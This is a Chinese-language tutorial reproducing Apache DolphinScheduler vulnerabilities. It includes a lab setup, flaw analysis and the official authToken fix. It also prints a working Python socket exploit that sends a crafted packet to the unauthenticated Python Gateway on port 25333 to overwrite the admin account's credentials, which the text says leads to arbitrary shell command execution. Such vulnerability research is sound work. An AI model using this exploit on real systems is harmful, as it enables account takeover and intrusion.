记一次Apache某项目的漏洞复现与挖掘
字数 1121 2025-08-11 17:39:47
Apache DolphinScheduler 漏洞复现与挖掘教学文档
漏洞概述
本教学文档详细分析Apache DolphinScheduler的两个安全漏洞:
- 未授权任意文件读取漏洞(早期版本)
- Python Gateway未授权访问漏洞(影响至最新版本)
环境搭建
使用Docker搭建漏洞环境
# 拉取存在漏洞的版本
docker pull apache/dolphinscheduler-standalone-server:3.0.0-beta-1
# 运行容器(添加调试端口9898)
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 9898:9898 -d 镜像id
配置调试环境
修改容器中的 /opt/dolphinscheduler/bin/start.sh 文件,添加调试参数:
JAVA_OPTS=${JAVA_OPTS:-"-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9898 -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}
漏洞分析
1. 任意文件读取漏洞(已修复)
漏洞位置:
ResourcesServiceImpl.java中增加了文件校验ResourcesController.java使用了该服务类
限制条件:
- 需要登录权限,与官方描述的"未授权"不符
- 实际漏洞点在其他位置
2. Python Gateway未授权访问漏洞
关键类:
org.apache.dolphinscheduler.api.python.PythonGateway
漏洞原理:
- Python Gateway默认启动时不进行身份验证
- 攻击者可以直接通过25333端口与Gateway交互
- 可以调用敏感方法如
updateUser修改管理员账户
漏洞利用
Python Gateway协议分析
通过Wireshark抓包分析,发现协议构造规则:
- 字符串参数:前缀加's'
- 整数参数:前缀加'i'
- 其他类型有相应构造方式
构造攻击数据包
修改管理员账户
import socket
client = socket.socket()
client.connect(('目标IP',25333))
# 构造修改用户数据
data = '''ctupdateUsersadminsdolphinscheduler1234 stest@qq.coms17823336543steststesti1e'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())
参数说明:
admin: 原用户名dolphinscheduler1234: 新密码test@qq.com: 新邮箱17823336543: 新手机号test: 新用户名1: 用户状态
利用效果
- 成功修改管理员账户信息
- 可使用新凭证登录系统
- 在任务调度平台中执行任意shell命令
调试技巧
- 在
py4j.commands.CallCommand#execute设置断点 - 跟踪
org.apache.dolphinscheduler.api.python.PythonGateway方法调用 - 观察参数传递和处理流程
漏洞修复
官方修复方案:
- 为Python Gateway添加
authToken验证 - 必须使用安全方式启动Gateway:
JavaGateway(gateway_parameters=GatewayParameters(port=11111,auth_token="HelloWorld"))
经验总结
- 漏洞分析时不要局限于表面修复点,要全面追踪相关功能
- 协议分析可通过抓包和调试相结合
- 漏洞提交后要及时跟进,确保获得应有的认可
- 环境搭建是漏洞复现的关键步骤,不能图省事